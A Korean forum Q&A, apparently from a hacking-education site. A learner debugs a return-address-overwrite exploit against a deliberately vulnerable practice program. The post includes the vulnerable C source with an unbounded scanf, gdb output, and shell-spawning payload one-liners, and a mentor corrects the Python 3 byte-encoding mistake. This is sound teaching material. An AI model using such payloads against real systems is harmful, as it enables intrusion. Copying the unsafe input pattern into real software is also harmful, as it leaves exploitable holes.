완료됨
[rao 익스플로잇 질문]

밑에 있는 rao.c를 컴파일한 rao를 대상으로 return address overwrite공격을 하려는데요.

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];
  
  init();
  
  printf("Input: ");
  scanf("%s", buf);
  
  return 0;
}

gdb로 보면 다음과 같이 buf가 rbp-0x30부터 시작됩니다.

0x401246 <main+39>    lea    rax, [rbp - 0x30]
  0x40124a <main+43>    mov    rsi, rax
  0x40124d <main+46>    lea    rdi, [rip + 0xdc0]
  0x401254 <main+53>    mov    eax, 0
  0x401259 <main+58>    call   __isoc99_scanf@plt                      <__isoc99_scanf@plt>

강의 자료처럼 0x38만큼은 아무 데이터로 채우고 나머지 길이 0x8인 return address를 get_shell()이 있는 주소로 옮겨서 쉘을 실행시키는게 목적입니다.
화면 캡처 2022-02-12 165138.png

pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4011dd <get_shell>

보시다시피 get_shell함수의 주소는 0x4011dd입니다. (강의 자료는 0x4005a7이던데 다를 수가 있나요..?)

그래서 리턴 어드레스 부분은 “\xdd\x11\x40\x00\x00\x00\x00\x00"로 작성할 수 있었습니다.

(python3 -c "print('A'*0x30 + 'B'*0x8 + '\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)| ./rao
최종적으로 터미널에 입력한 명령은 이것인데요. 이거를 입력하면 쉘을 딸 수 있기를 기대했습니다.

Input: 
세그멘테이션 오류 (코어 덤프됨)

그런데 세그멘테이션 오류가 뜨더군요.

그래서 코어 파일을 봤습니다.

pwndbg> x/5gx $rsp
0x7ffd73895a70:	0x0000000000000000	0x00007ffd73895b58
0x7ffd73895a80:	0x00000001b7ef1618	0x000000000040121f
0x7ffd73895a90:	0x0000000000401270
Exception occurred: Error: maximum recursion depth exceeded in comparison (<class 'RecursionError'>)
For more info invoke `set exception-verbose on` and rerun the command
or debug it by yourself with `set exception-debugger on`
Python Exception <class 'RecursionError'> maximum recursion depth exceeded in comparison: 
pwndbg> print $rip
$1 = (void (*)()) 0x40119dc3

보니깐 제 생각에 main함수에서 return을 했고 rip가 제가 원하는 0x4011dd을 저장해야 될 것 같습니다.
그런데 현재 rip는 0x40119dc을 저장하고 있더군요.

4011부분은 맞는데 dd가 아닌 9dc3이 어떻게 나왔는지 모르겠습니다 ㅠㅠ
도움 부탁드립니다..

#시스템_해킹 #공격기법
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
5unkn0wn
강의 수강: 50
  1. 안녕하세요, 우선 함수의 주소는 소스를 컴파일하는 환경과 버전에 따라 달라질 수 있습니다.
  2. 커맨드 라인으로 입력할 때 파이썬 3을 사용하게 되면 출력 과정에서 인코딩이 달라져 페이로드가 올바르게 들어가지 않습니다ㅠㅠ 파이썬 3로 입력할 때에는 (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00\x00')";cat) | ./rao 과 같은 형태로 입력해주셔야 합니다! 이 부분은 강의를 수강할 때 혼동을 일으킬 수 있으니, 수정해두도록 하겠습니다! 감사합니다.
2022.02.16. 15:51